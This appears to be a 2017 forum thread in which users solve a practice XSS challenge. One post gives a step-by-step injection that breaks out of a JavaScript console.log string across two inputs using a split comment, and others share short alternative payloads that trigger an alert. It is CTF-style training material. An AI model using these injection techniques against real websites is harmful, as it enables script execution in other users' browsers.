Quote:http://xsschallenge.coolpage.biz/xss2.php

Spoiler (Click to View)

(Feb 3, 2017 01:19 PM)Faith Connors Wrote:  goddamn, right when i have to go on a road trip :(
well, remember to leave some vectors open for me to give it a shot lmao

Spoiler (Click to View)

(Feb 6, 2017 10:47 AM)Ryuga Wrote:  Did the #1 as well ..
Spoiler (Click to View)

Spoiler (Click to View)
when opening the site you see you have to enter 2 vectors to suceed.


If you inspect the source you see that user input gets console logged.


As shown on the page the query to console log looks like

PHP Code


<?php 
console.log("Hi"); console.log("Hi"); 


To escape this we need to enter ");.
The query will look like this

PHP Code


<?php 
console.log("");"); console.log(""); 


This will cause nothing more than an error.
To get an alert box we obviously need to place alert() behind it, but that will still cause an error since the script tries to close an already closed function.
So we have to comment that out, but since // is filtered we must use /*

PHP Code


<?php 
console.log("");alert();/*"); console.log(""); 


At first you'd think that this is ok, and the challenge should be done. Nope, this will (again) cause an error, because you have to end the multi-line comment.

This is where the second input comes in. To end a multi-line comment you have to insert */

PHP Code


<?php 
console.log("");alert();/*"); console.log("*/"); 


This also will cause an error, because the scripts tries to close the already closed function.
Since we injected our own function we can use that unexpected ending for an expected ending (if that even is a thing lol)

PHP Code


<?php 
console.log("");alert;/*"); console.log("*/("xss"); 


So the end result will look like this:

PHP Code


<?php 
console.log("");alert/*"); console.log("*/("xss");

//Executed code
console.log("");
alert("xss");

//Payload: 
)"alert/*
*/("xss 


(Feb 8, 2017 12:05 AM)Ryuga Wrote:  Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Spoiler (Click to View)

(Feb 8, 2017 05:39 AM)Faith Connors Wrote:  goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines

Quote:Arithmetic Operators
Comparison and Logical Operators
Bitwise Operators
and of course, closing teh "thing" and commenting out/balancing the line! ');alert(1)//

Spoiler (Click to View)

(Feb 8, 2017 12:05 AM)Ryuga Wrote:  Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Spoiler (Click to View)

(Feb 7, 2017 08:56 PM)Faith Connors Wrote:  found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3

(Feb 9, 2017 08:36 PM)suffixor Wrote:  What I ended up with.

Spoiler (Click to View)

Code

"+alert()+"